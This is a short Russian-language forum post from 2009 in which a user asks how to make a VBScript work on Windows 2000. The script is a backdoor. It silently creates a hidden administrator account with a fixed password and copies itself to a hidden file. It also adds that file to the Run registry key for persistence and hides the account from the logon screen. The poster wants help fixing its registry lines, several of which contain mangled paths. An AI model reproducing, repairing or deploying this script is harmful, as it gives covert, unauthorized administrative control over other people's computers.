][elp реестр Windows 2000 .
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
][elp реестр Windows 2000 . - 2009-02-02 15:20:56.483333
|
|
|
A67809R
Сообщений: 60
Оценки: 0
Присоединился: 2008-10-25 01:08:21.540000
|
Я тут на форуме нашел скрипт для создания новой учетной записи. На WXP работает отлично, а на 2000-м пришлось менять кое, что за что большое СПС Pashkela , что подсказал как сделать. Но вот еще одна проблема. Последняя часть срипта предназначена для работы с реестром, а я не знаю какой он в Wind 2000. Если кто может покажите пожалуйста как сделать. Просто не зная ресстра W2000 - скрипт корректно не выполняется, а может кто знает, что изменить в последних двух строках, что начинаются з "WSHell"???
Вот сам скрипт:
Set WSHell = Wsсriрt.CreateObject("Wsсriрt.Shell")
Set sDir = WSHell.Environment("Process") '
WSHell.Run sDir("windir") & "\system32\net.exe user zimper qwerty /add",0, True
WSHell.Run sDir("windir") & "\system32\net.exe localgroup Администраторы zimper /add",0, True
Set fso=CreateObject("sсriрting.FileSystemObject")
Set file=fso.GetFile(Wsсriрt.sсriрtFullName)
file.Copy("C:/fuck_admin.vbs")
Set file2=fso.GetFile("C:/fuck_admin.vbs")
file2.Attributes=+2
WSHell.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi\Run\fuck_admin","C:/fuck_adm in.vbs"
WSHell.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\zimper",0,"REG_DWORD"
Спасибо.
|
|
|
|
|
|
)